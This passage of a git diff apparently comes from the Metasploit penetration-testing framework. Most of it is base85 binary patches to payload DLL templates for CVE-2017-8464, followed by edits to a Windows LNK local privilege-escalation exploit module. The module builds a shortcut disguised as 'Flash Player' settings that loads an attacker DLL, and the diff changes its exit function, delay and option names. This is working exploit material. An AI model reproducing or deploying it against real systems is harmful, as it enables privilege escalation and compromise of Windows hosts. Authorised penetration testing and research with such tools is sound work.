zei=Y6z$g|Z%B6|QT!?_}0bBVI=n)GVtwupQyglw6tw{CzYRHTcLRg5ZUber#`ae2K>E?8mt7ZK$}a zVD=+C6Ck~hf^^;ooji#CNEZOmi9J{ph4ulyfQ!H7g^_`nP79m;Z>T5QW^bVC7F6dx z`46qSsqI1Nrrlr-FCcS<>M%mF{b%-Ms^2&JA%Y*q_K9A;UaPj;24%`Yyq0OrMs3VH zYon=sF_ey|GZ|%Qih@CnGxC92&JFyQs~dV31Fv$qC;y~!)tAvWSdLXJdYfTZym(W_ zu^RjI0$L=U8AAIfqM72xOq=`$aN%~Q{1QV%U7i^2jafS_(fJGerL+*`?$rAsznzwG zt2^T)<}5B3q<20Sp56{^Xy?u1tYgT57|!04kW?rwHwc)ha_Kml+)~*WdK@;T(?XUa zxcU;Mf^Vd<(}L?SW^p?0EzWpugLAh)R}oEcgLHz=M_SR{$?-5Dl3H!YN#S;K95p%o z0oljzgK#dz<|@ZYJ6qpHvAOlDf`YkbQ`JxC>UC&2~*oIsX7k}Cw7$U%6Nywx9A1Hg?lF< zGD!An@l3+27V~%(Z&G76_U#~M8hDH@rO8pr)38ja46lXDDMwl9P+BMQ|Z|1%GA zQ+opnqk;ZgiV4gUaUP#{bST#XeMI%BArET8ruJ2k8xgIIDB$u#XJP@#!*o%sfFhOp zJ0e>1VudfpYN4x4F{427BLesqJz}u|8NHiB5O@)Qkior|e5nx0IDx9_{Z+I* z*?2KTa!*PJ5Yf;z7Ds(ezL&qpZ|8Hzt;Q{0%EZ}HrXa1R6U1qZeI)fJZm97k3IuoZ z2L#gO-*YHPiKO0#;t@KZhleA>zv|%eEF1qFa?(p^mu@d9e6S$4z*nT|mne&*{;3Wb z*;q#k5h54MDS59u#}3~tkI(yqn1y2~wm@`upYzYCQp2l^Lz8FKsq2Lx--cJp(iG)) zvYn z-{CQQ{wgmaFwQP4y|Qr^mol~AkNS8IMGoX!e#Ce=ch2t zPlbKP)c|_>jLjMqNjhjB)4C>YY@GUPO(*@wG^q{CV$)_X+iwX~t1r`HU_NT&ELP)#6_A;KdlrqcyEJz?!k@g#azvxEpv)nTg)O z14Ba99Q38%w6zqr+?4`bEb-u9&0pIMErNS(Z>D+(!|@h=RvthL5ZH_rJ5$K}+W8*d z5%?VhSIx(h_J6CKypWp5b@|?!eC`m;FuXls&!U^HZ5V#2IaUl`qLbFFeOBFG)rti% zE3Vb7fJb&^p7md$JO_u*omMIANYu}PZ+1EYf@>Fivmd^}+qK$EY(G}-H&SUPBX1whoT-jyRFq%ct>En!n~M5l-H&}=pxSTT zoyMoOv|m$^80|k@{bk1Nx6Fb+tXVsYb>VyrNIX6)6LC~@7qT=l*Yz=CbmAizk^ao+ z{z9?J$72`913P%$YmSr=vC5l~E$OHFcPdk~HVd(qjTBi?D-z^I+dz z$E9k#3^?CMi_vDH{jur}J0}c(6pNpHK1kt-vVeCXX9A8Zczx)@E7E-*7Rti765Wxg z26cTn`u;hu_Z_#D3bW~IlP-+X92W_#Lpbj*y4q#StN!=2+!@)`b#<(KUUT_;+w$5b(dH{NmEUU6Teku z_)RZrTsuA6wi*ZfvyW3f$D8dcrd)jPxxS>fVfm_Qt7cqBKMEFW>uu(m%Gx@o!*&C1 z?D6DRS37J?P38={c|~QDxuMZqTVJ`{Hm%84CDt}JFtd44twVHH*4^f`Io9yXwrX=t zqr;q0ZCN^Rg$*kk8do)# z?M*gkb)(rqzXPqLw&{n>Vq;Zfow?cOXd*^Nb+&5te_d}`t!Qqlz1KEUK5AF=_qWl! zdFHwPY8f>@%|+*ykIq+E&MlAqURrCw@aVba6Gyd|xaQn)HY$I7^||GzN9CF4-15Xx z`IJ$4^Qio0EqvLyl0_V%m`{!>NAJI7c zr$yYgl_0SS#!7+m5AYLv&>g^i6Y#eWpy_WfrcA`24}dlUuSB{IbPn(#q*){n+<+v2 z_5hzjDg{kwnZ(!v(1f=mRfDbo((gd)K&Jq+kVMcqKpWCp(01SITh~EoL1f2qW?+V7!K_3U+nGRopt^mG+Gz;_~aBT*@ z>;>Hdyz@%rB2NY$W^1AlTAepN~`z=TZr3Umta7NoVHOM$zP z+CcXM`#S3_1FWI6LI1-W>3$t@&sxnvY_xczf99d{ql|KSK65NG=0jhaXDiv#@Lg>3H`=F{qYfY zj_!BVM~Oz3I49aGv@<#%m5XB39>N3zOPJ1kVE<14qki~4jOx++j_m)}XRY3K2Pw>K z(fkLR{CFMmGm&N?iMDz>e?y&)Pp4RfXps2zP2slSrp{>p)+6o-CVr^ArU72u^6Zxvw>e9EvQ@u&nFPKpwcel+9_(-1;n#9Hm-Eqqrz}9{hdfEm1vhv z3maC|Ho#LqH;=ODo1?zA0RtZ$ zBDTk{psoq7T2xu*w6WI>->ZZjGiZk7*Wp&GXf

MLEz$_gaj79_4T+;f>08I|3!z zT8XW`k$QD2D=)|WU1Ni7b*;!2AXnSCth@$(!g~`dudHucUe1fy#k%rZ3=uj}&sucl zXm=&ch%47>?ujdRHgMkk`pRXE4v{^oN2r2>zq!!YIBd8a+@r5qMJC`aN?)&)eWS0p z)mPbJ$;F1I+T{(E_=Vgxh9=QbXTz@#rxVpsRc~jv8JcVCj@kyX26LMBs{h7xbJ6@; zimbTuq^nXq6Jg8$YpQQ*u5yS`jimMOyxEhfa{56dpW?B2?4GdaxX0qP zLuv^K*g`W3&j`vIq&I~RIt_aG( zVDPoz7s06^d*~OTK#g*x_xRDqr=C=AwztG<^RD%Jy}P}idcX0e`u@dN z>=S)%-*0?Jd?$RCPPEsd?yaeO?sctG3ZxDS69 zdNcGHm9?lklRTGsW_cEP>O29@bDo2qZ#^04MCh_jBJ1z7Kq5ft3MQ;E6yM z+0w7-sp~$_T}NYU*0bvX2|ZW$l=iIYdA#Sd9&_-(Bq+= z(ALo2&|zvjM^7Qa#(A#x%<+_Y$~{Kkk9>k}sqY@&I^UDNXMG?0uJZrbZ}qSAOa2Z1 zr~SY6@An_{f9OBupGh{f==r~&DeGC+v$5xuo@;_P2k#Cx1%Dp&1)s-AeiBRyWrXrW zOG6KbSchugHJ+P2cYE&jxIIsypNBmkdUW2&-aK!EcY}Ap`;PYu?_a!=d{_CHANn`r zzx@Ed@TK`5_y5j+LBJ9y3EUm153~h-73c}<4;%@66gU;Ib^f}uuk*Fek2;Tce%pCL z*Q~DgE^pVCu5j0DT_1JDcc*vfcHh{2Yj<^bL-&2%^2V~K{`INx{|Uv+z++_Hrf)W7 z_RQ(2>IwD42d4+E!41LZf*%AYhMGhF5qdpD{~Ty4NqeSxYCK(@0naf{p7-Cq`(W=W z?_OV=|9byie|F%Oz`FrfYT#r2d=DzL7!->>-7(0@-Lt#fhb#?G{^3iR)E rm(X3&y}G-jd$2okW6s9K8(TJR-gtUr=2I-J+Hnt!^ZDn0ln4F~E=xCR diff --git a/data/exploits/cve-2017-8464/template_x86_windows.dll b/data/exploits/cve-2017-8464/template_x86_windows.dll old mode 100755 new mode 100644 index b95dfe5232b73f48b2773b4add296114d6793b69..eeef7fb413215ccc7b676fda2873ece79e5e1b8b GIT binary patch literal 17408 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 diff --git a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb index 6d2e32a57d..1b316ce6bb 100644 --- a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb +++ b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb @@ -47,8 +47,8 @@ class MetasploitModule < Msf::Exploit::Local ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', - 'WfsDelay' => 45, + 'EXITFUNC' => 'process', + 'WfsDelay' => 30, }, 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => @@ -78,14 +78,14 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]), - OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']), - OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player']) + OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']), + OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player']) ] ) end def exploit - path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464') + path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464') arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch'] datastore['EXE::Path'] = path datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll") @@ -105,8 +105,8 @@ class MetasploitModule < Msf::Exploit::Local def generate_link(path) vprint_status("Generating LNK file to load: #{path}") path << "\x00" - display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name - comment = datastore['LNK_COMMENT'].dup << "\x00" + display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name + comment = datastore['LnkComment'].dup << "\x00" # Control Panel Applet ItemID with our DLL cpl_applet = [